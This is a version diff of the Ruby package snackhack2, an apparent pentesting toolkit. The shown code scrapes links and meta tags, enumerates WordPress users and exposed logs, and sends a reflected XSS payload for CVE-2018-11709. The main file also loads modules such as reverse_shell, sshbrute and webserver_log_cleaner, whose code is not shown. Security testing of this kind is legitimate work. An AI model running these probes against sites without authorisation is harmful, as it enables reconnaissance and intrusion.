snackhack2 0.6.4 → 0.6.5

data/lib/snackhack2/website_links.rb

@@ -1,28 +1,28 @@
-# frozen_string_literal: true
-
-require 'nokogiri'
-require 'open-uri'
-module Snackhack2
-  class WebsiteLinks
-    attr_accessor :save_file, :site
-
-    def initialize(save_file: true)
-      @site = site
-      @save_file = save_file
-    end
-
-    def run
-      doc = Nokogiri::HTML(URI.open(@site))
-      links = doc.xpath('//a')
-      all_links = links.map { |e| e['href'] }.compact
-      content = all_links.uniq.join("\n")
-      if @save_file
-        Snackhack2::file_save(@site, "links", content)
-      else
-        all_links.each do |links|
-          puts links
-        end
-      end
-    end
-  end
-end
+# frozen_string_literal: true
+
+require 'nokogiri'
+require 'open-uri'
+module Snackhack2
+  class WebsiteLinks
+    attr_accessor :save_file, :site
+
+    def initialize(save_file: true)
+      @site = site
+      @save_file = save_file
+    end
+
+    def run
+      doc = Nokogiri::HTML(URI.open(@site))
+      links = doc.xpath('//a')
+      all_links = links.map { |e| e['href'] }.compact
+      content = all_links.uniq.join("\n")
+      if @save_file
+        Snackhack2.file_save(@site, 'links', content)
+      else
+        all_links.each do |links|
+          puts links
+        end
+      end
+    end
+  end
+end

data/lib/snackhack2/website_meta.rb

@@ -1,20 +1,33 @@
-# frozen_string_literal: true
-
-require 'nokogiri'
-require 'open-uri'
-module Snackhack2
-  class WebsiteMeta
-    attr_accessor :site
-    def initialize
-      @site = site
-    end
-
-    def run
-      doc = Nokogiri::HTML(URI.open(@site))
-      posts = doc.xpath('//meta')
-      posts.each do |link|
-        puts "#{link.attributes['name']}: #{link.attributes['content']}" unless link.attributes['name'].nil?
-      end
-    end
-  end
-end
+# frozen_string_literal: true
+
+require 'nokogiri'
+require 'open-uri'
+module Snackhack2
+  class WebsiteMeta
+    attr_accessor :site
+
+    def initialize()
+      @site = site
+    end
+
+    def run
+      doc = Nokogiri::HTML(URI.open(@site))
+      posts = doc.xpath('//meta')
+      posts.each do |link|
+        puts "#{link.attributes['name']}: #{link.attributes['content']}" unless link.attributes['name'].nil?
+      end
+    end
+    def description
+      begin
+        doc = Nokogiri::HTML(URI.open("https://#{@site}", "User-Agent" => Snackhack2::UA))
+        if !doc.xpath('/html/head/meta[@name="description"]/@content').to_s.empty?
+          doc.xpath('/html/head/meta[@name="description"]/@content').to_s
+        end
+        #dsp << 
+
+      rescue => e
+        puts "ERROR: #{e}"
+      end
+    end
+  end
+end

data/lib/snackhack2/wordpress.rb

@@ -1,128 +1,120 @@
-# frozen_string_literal: true
-
-require 'nokogiri'
-require 'json'
-module Snackhack2
-  class WordPress
-    attr_accessor :save_file, :site
-
-    def initialize(save_file: true)
-      @site = site
-      @save_file = save_file
-    end
-
-    def run
-      wp_login
-      yoast_seo
-      users
-      wp_content_uploads
-      all_in_one_seo
-      wp_log
-    end
-
-    def file_site
-      @site = @site.gsub('https://', '')
-    end
-
-    def users
-      found_users = ''
-      begin
-        users = Snackhack2::get(File.join(@site, "wp-json", "wp", "v2", "users")).body
-        json = JSON.parse(users)
-        json.each do |k|
-          found_users += "#{k['name']}\n"
-        end
-      rescue StandardError => e
-        puts "[+] users not found\n\n\n"
-      end
-
-      if !found_users.empty?
-        if @save_file
-          Snackhack2::file_save(@site, "users", found_users)
-        else
-          puts found_users
-        end
-      end
-    end
-
-    def wp_content_uploads
-      s = Snackhack2::get(File.join(@site, '/wp-content/uploads/'))
-      if s.code == 200
-        if s.body.include?('Index of')
-          puts "[+] #{File.join(@site, '/wp-content/uploads/')} is valid...\n\n\n"
-        end
-      end
-    end
-
-    def wp_login
-      percent = 0
-      ## todo: maybe add Bayes Theorem to detect wp
-      wp = ['wp-includes', 'wp-admin', 'Powered by WordPress', 'wp-login.php', 'yoast.com/wordpress/plugins/seo/',
-            'wordpress-login-url.jpg', 'wp-content/themes/', 'wp-json']
-      login = Snackhack2::get(File.join(@site, "wp-login.php"))
-      if login.code == 200
-        wp.each do |path|
-          percent += 10 if login.body.include?(path)
-        end
-      end
-      login2 = Snackhack2::get(@site.to_s)
-      wp.each do |path|
-        percent += 10 if login2.body.include?(path)
-      end
-      puts "Wordpress Points: #{percent}"
-    end
-
-    def yoast_seo
-      ys = Snackhack2::get(@site)
-      if ys.code == 200
-        yoast_version = ys.body.split("<!-- This site is optimized with the Yoast SEO Premium plugin")[1].split(" -->")[0]
-        ["This site is optimized with the Yoast SEO plugin",
-         "This site is optimized with the Yoast SEO Premium plugin"].each do |site|
-          if !ys.body.scan(/#{site}/).shift.nil?
-            puts "#{ys.body.scan(/#{site}/).shift.to_s} with version #{yoast_version}"
-          end
-        end
-      end
-    end
-
-    def all_in_one_seo
-      alios = Snackhack2::get(@site)
-      if alios.code == 200
-        if alios.body.scan(/(All in One SEO Pro\s\d.\d.\d)/)
-          puts "Site is using the plugin: #{alios.body.match(/(All in One SEO Pro\s\d.\d.\d)/)}"
-        end
-      end
-    end
-
-    def wp_log
-      wplog_score = 0
-      wp = ['\wp-content\plugins', 'PHP Notice', 'wp-cron.php', '/var/www/html', 'Yoast\WP\SEO', 'wordpress-seo']
-      log = Snackhack2::get(File.join(@site, "/wp-content/debug.log"))
-      if log.code == 200
-        puts "[+] #{File.join(@site, "/wp-content/debug.log")} is giving status 200. Now double checking...\n\n\n"
-        wp.each do |e|
-          if log.body.include?(e)
-            wplog_score += 10
-          end
-        end
-      end
-      puts "WordPress Log score: #{wplog_score}...\n\n\n"
-    end
-
-    def wp_plugin
-      wp_plugin_score = 0
-      wp = ['Index of', 'Name', 'Last modified', 'Size', 'Parent Directory', '/wp-content/plugins']
-      plug = Snackhack2::get(File.join(@site, '/wp-content/plugins/'))
-      if plug.code == 200
-        puts "[+] Looks like #{File.join(@site,
-                                         '/wp-content/plugins/')} is giving status 200. Checking to make sure...\n\n\n"
-        wp.each do |e|
-          if plug.body.include?(e)
-            wp_plugin_score += 10
-          end
-        end
-      end
-      puts "[+] WordPress Plugin Score: #{wp_plugin_score}"
-    end
-  end
-end
+# frozen_string_literal: true
+
+require 'nokogiri'
+require 'json'
+module Snackhack2
+  class WordPress
+    attr_accessor :save_file, :site
+
+    def initialize(save_file: true)
+      @site = site
+      @save_file = save_file
+    end
+
+    def run
+      wp_login
+      yoast_seo
+      users
+      wp_content_uploads
+      all_in_one_seo
+      wp_log
+    end
+
+    def file_site
+      @site = @site.gsub('https://', '')
+    end
+
+    def users
+      found_users = ''
+      begin
+        users = Snackhack2.get(File.join(@site, 'wp-json', 'wp', 'v2', 'users')).body
+        json = JSON.parse(users)
+        json.each do |k|
+          found_users += "#{k['name']}\n"
+        end
+      rescue StandardError
+        puts "[+] users not found\n\n\n"
+      end
+
+      return if found_users.empty?
+
+      if @save_file
+        Snackhack2.file_save(@site, 'users', found_users)
+      else
+        puts found_users
+      end
+    end
+
+    def wp_content_uploads
+      s = Snackhack2.get(File.join(@site, '/wp-content/uploads/'))
+      return unless s.code == 200
+      return unless s.body.include?('Index of')
+
+      puts "[+] #{File.join(@site, '/wp-content/uploads/')} is valid...\n\n\n"
+    end
+
+    def wp_login
+      percent = 0
+      ## todo: maybe add Bayes Theorem to detect wp
+      wp = ['wp-includes', 'wp-admin', 'Powered by WordPress', 'wp-login.php', 'yoast.com/wordpress/plugins/seo/',
+            'wordpress-login-url.jpg', 'wp-content/themes/', 'wp-json']
+      login = Snackhack2.get(File.join(@site, 'wp-login.php'))
+      if login.code == 200
+        wp.each do |path|
+          percent += 10 if login.body.include?(path)
+        end
+      end
+      login2 = Snackhack2.get(@site.to_s)
+      wp.each do |path|
+        percent += 10 if login2.body.include?(path)
+      end
+      puts "Wordpress Points: #{percent}"
+    end
+
+    def yoast_seo
+      ys = Snackhack2.get(@site)
+      return unless ys.code == 200
+
+      yoast_version = ys.body.split('<!-- This site is optimized with the Yoast SEO Premium plugin')[1].split(' -->')[0]
+      ['This site is optimized with the Yoast SEO plugin',
+       'This site is optimized with the Yoast SEO Premium plugin'].each do |site|
+        puts "#{ys.body.scan(/#{site}/).shift} with version #{yoast_version}" unless ys.body.scan(/#{site}/).shift.nil?
+      end
+    end
+
+    def all_in_one_seo
+      alios = Snackhack2.get(@site)
+      return unless alios.code == 200
+      return unless alios.body.scan(/(All in One SEO Pro\s\d.\d.\d)/)
+
+      puts "Site is using the plugin: #{alios.body.match(/(All in One SEO Pro\s\d.\d.\d)/)}"
+    end
+
+    def wp_log
+      wplog_score = 0
+      wp = ['\wp-content\plugins', 'PHP Notice', 'wp-cron.php', '/var/www/html', 'Yoast\WP\SEO', 'wordpress-seo']
+      log = Snackhack2.get(File.join(@site, '/wp-content/debug.log'))
+      if log.code == 200
+        puts "[+] #{File.join(@site, '/wp-content/debug.log')} is giving status 200. Now double checking...\n\n\n"
+        wp.each do |e|
+          wplog_score += 10 if log.body.include?(e)
+        end
+      end
+      puts "WordPress Log score: #{wplog_score}...\n\n\n"
+    end
+
+    def wp_plugin
+      wp_plugin_score = 0
+      wp = ['Index of', 'Name', 'Last modified', 'Size', 'Parent Directory', '/wp-content/plugins']
+      plug = Snackhack2.get(File.join(@site, '/wp-content/plugins/'))
+      if plug.code == 200
+        puts "[+] Looks like #{File.join(@site,
+                                         '/wp-content/plugins/')} is giving status 200. Checking to make sure...\n\n\n"
+        wp.each do |e|
+          wp_plugin_score += 10 if plug.body.include?(e)
+        end
+      end
+      puts "[+] WordPress Plugin Score: #{wp_plugin_score}"
+    end
+  end
+end

data/lib/snackhack2/wpForo_Forum.rb

@@ -1,22 +1,23 @@
-# frozen_string_literal: true
-
-require 'httparty'
-module Snackhack2
-  class WPForoForum
-    attr_accessor :site
-    def initialize
-      @site = site
-    end
-
-    # wpForo Forum <= 1.4.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)
-    # source: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2018-11709
-    def run
-      wp = HTTParty.get(File.join(@site, '/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'))
-      if wp.code == 200
-        puts "[+] #{@site} is vulnerable to CVE-2018-11709..." if wp.match(/XSS/)
-      else
-        puts "[+] HTTP code #{wp.code}"
-      end
-    end
-  end
-end
+# frozen_string_literal: true
+
+require 'httparty'
+module Snackhack2
+  class WPForoForum
+    attr_accessor :site
+
+    def initialize
+      @site = site
+    end
+
+    # wpForo Forum <= 1.4.11 - Unauthenticated Reflected Cross-Site Scripting (XSS)
+    # source: https://github.com/prok3z/Wordpress-Exploits/tree/main/CVE-2018-11709
+    def run
+      wp = HTTParty.get(File.join(@site, '/index.php/community/?%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E'))
+      if wp.code == 200
+        puts "[+] #{@site} is vulnerable to CVE-2018-11709..." if wp.match(/XSS/)
+      else
+        puts "[+] HTTP code #{wp.code}"
+      end
+    end
+  end
+end

data/lib/snackhack2.rb

@@ -1,81 +1,84 @@
-# frozen_string_literal: true
-
-require 'uri'
-require 'httparty'
-
-require_relative 'snackhack2/version'
-require_relative 'snackhack2/bannergrabber'
-require_relative 'snackhack2/wordpress'
-require_relative 'snackhack2/portscan'
-require_relative 'snackhack2/iplookup'
-require_relative 'snackhack2/robots'
-require_relative 'snackhack2/subdomains'
-require_relative 'snackhack2/sshbrute'
-require_relative 'snackhack2/website_meta'
-require_relative 'snackhack2/google_analytics'
-require_relative 'snackhack2/cryptoextractor'
-require_relative 'snackhack2/website_links'
-require_relative 'snackhack2/webserver_log_cleaner'
-require_relative 'snackhack2/wpForo_Forum'
-require_relative 'snackhack2/WP_Symposium'
-require_relative 'snackhack2/phone_number'
-require_relative 'snackhack2/emails'
-require_relative 'snackhack2/drupal'
-require_relative 'snackhack2/Honeywell_PM43'
-require_relative 'snackhack2/sitemap'
-require_relative 'snackhack2/tomcat'
-require_relative 'snackhack2/subdomains2'
-require_relative 'snackhack2/reverse_shell'
-require_relative 'snackhack2/forward_remote'
-require_relative 'snackhack2/screenshots'
-require_relative 'snackhack2/indirect_command_injection'
-require_relative 'snackhack2/list_users'
-require_relative "snackhack2/bypass_403"
-require_relative "snackhack2/comments"
-require_relative "snackhack2/ssrf"
-module Snackhack2
-  UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36"
-  def self.read_serverversion
-    files = Dir['*.txt']
-    files.each do |f|
-      read = File.read(f)
-      puts "#{f.split('_')[0]}: #{read}"
-    end
-  end
-
-  def self.clean_serverversion
-    #  this wil remove all files that have '_serverversion'
-    #  in the file name
-    Dir['*.txt'].each do |file|
-      if file.include?('_serverversion')
-        puts "[+] deleting #{file}..."
-        File.delete(file)
-      end
-    end
-  end
-
-  def self.file_save(site, type, content, ip: false)
-    hostname = URI.parse(site).host
-    File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
-    puts "[+] Saving file to #{hostname}_#{type}.txt..."
-  end
-
-  def self.get(site)
-    HTTParty.get(site, { headers: { "User-Agent" => UA } })
-  end
-
-  def self.clean_portscan
-    Dir['*_port_scan.txt'].each do |file|
-      puts "[+] deleting #{file}..."
-      File.delete(file)
-    end
-  end
-
-  def self.read_portscan
-    files = Dir['*_port_scan.txt']
-    files.each do |f|
-      read = File.read(f)
-      puts "#{f.split('_')[0]}: #{read}"
-    end
-  end
-end
+# frozen_string_literal: true
+
+require 'uri'
+require 'httparty'
+
+require_relative 'snackhack2/version'
+require_relative 'snackhack2/bannergrabber'
+require_relative 'snackhack2/wordpress'
+require_relative 'snackhack2/portscan'
+require_relative 'snackhack2/iplookup'
+require_relative 'snackhack2/robots'
+require_relative 'snackhack2/subdomains'
+require_relative 'snackhack2/sshbrute'
+require_relative 'snackhack2/website_meta'
+require_relative 'snackhack2/google_analytics'
+require_relative 'snackhack2/cryptoextractor'
+require_relative 'snackhack2/website_links'
+require_relative 'snackhack2/webserver_log_cleaner'
+require_relative 'snackhack2/wpForo_Forum'
+require_relative 'snackhack2/WP_Symposium'
+require_relative 'snackhack2/phone_number'
+require_relative 'snackhack2/emails'
+require_relative 'snackhack2/drupal'
+require_relative 'snackhack2/Honeywell_PM43'
+require_relative 'snackhack2/sitemap'
+require_relative 'snackhack2/tomcat'
+require_relative 'snackhack2/subdomains2'
+require_relative 'snackhack2/reverse_shell'
+require_relative 'snackhack2/forward_remote'
+require_relative 'snackhack2/screenshots'
+require_relative 'snackhack2/indirect_command_injection'
+require_relative 'snackhack2/list_users'
+require_relative 'snackhack2/bypass_403'
+require_relative 'snackhack2/comments'
+require_relative 'snackhack2/ssrf'
+require_relative 'snackhack2/dns'
+require_relative 'snackhack2/CVE-2017-9841'
+require_relative 'snackhack2/phishing_tlds'
+module Snackhack2
+  UA = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36'
+  def self.read_serverversion
+    files = Dir['*.txt']
+    files.each do |f|
+      read = File.read(f)
+      puts "#{f.split('_')[0]}: #{read}"
+    end
+  end
+
+  def self.clean_serverversion
+    #  this wil remove all files that have '_serverversion'
+    #  in the file name
+    Dir['*.txt'].each do |file|
+      if file.include?('_serverversion')
+        puts "[+] deleting #{file}..."
+        File.delete(file)
+      end
+    end
+  end
+
+  def self.file_save(site, type, content, ip: false)
+    hostname = URI.parse(site).host
+    File.open("#{hostname}_#{type}.txt", 'w+') { |file| file.write(content) }
+    puts "[+] Saving file to #{hostname}_#{type}.txt..."
+  end
+
+  def self.get(site)
+    HTTParty.get(site, { headers: { 'User-Agent' => UA } })
+  end
+
+  def self.clean_portscan
+    Dir['*_port_scan.txt'].each do |file|
+      puts "[+] deleting #{file}..."
+      File.delete(file)
+    end
+  end
+
+  def self.read_portscan
+    files = Dir['*_port_scan.txt']
+    files.each do |f|
+      read = File.read(f)
+      puts "#{f.split('_')[0]}: #{read}"
+    end
+  end
+end